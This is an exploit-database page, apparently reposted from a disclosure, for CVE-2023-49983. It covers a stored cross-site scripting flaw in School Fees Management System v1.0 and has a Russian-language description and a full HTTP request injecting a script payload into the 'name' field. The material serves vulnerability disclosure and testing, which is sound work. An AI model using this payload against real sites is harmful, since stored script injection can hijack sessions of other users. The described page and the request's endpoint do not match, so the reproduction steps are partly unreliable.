Sploitus

Exploit for CVE-2023-49983

kitploit · 2026-09-04

Exploit Code

MARKDOWN47 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-GERALDOALCANTARA-CVE-2023-49983
# CVE-2023-49983

# School Fees Management System v1.0 - Уязвимость межсайтового скриптинга (XSS) в поле/параметре "name" на "/management/class"

**Описание** : Межсайтовый скриптинг (XSS) в компоненте "/management/class" School Fees Management System v1.0 позволяет злоумышленникам выполнять произвольные веб-скрипты или HTML через специально созданную полезную нагрузку, внедрённую в параметр name.

**Версия уязвимого продукта** : School Fees Management System v1.0  
**Автор CVE** : Geraldo Alcântara  
**Дата** : 28/11/2023  
**Подтверждено** : 19/12/2023  
**CVE** : CVE-2023-49983  
**Протестировано на** : Windows

### Шаги для воспроизведения:

Чтобы воспользоваться уязвимостью, пользователь с соответствующими разрешениями должен получить доступ к странице "/ci_fms/admin/management/class". На этой странице пользователь должен либо отредактировать существующий класс, либо добавить новый. Вредоносная полезная нагрузка должна быть вставлена в параметр "name" во время этого процесса.

### Запрос:

root@kitploit:~
    
    
    POST /ci_fms/admin/action/edit_student/1/1 HTTP/1.1
    Host: 192.168.68.148
    Content-Length: 268
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    Origin: http://192.168.68.148
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydFBWs52W42v8XLGe
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
    Referer: http://192.168.68.148/ci_fms/admin/enrollment/class/1
    Accept-Encoding: gzip, deflate, br
    Accept-Language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7
    Cookie: ci_session=c561k45qbrtsb34f2k30f936v0aijl01
    Connection: close
    
    ------WebKitFormBoundarydFBWs52W42v8XLGe
    Content-Disposition: form-data; name="name"
    
    <script>alert(document.domain)</script>
    ------WebKitFormBoundarydFBWs52W42v8XLGe
    Content-Disposition: form-data; name="parent"
    
    1
    ------WebKitFormBoundarydFBWs52W42v8XLGe--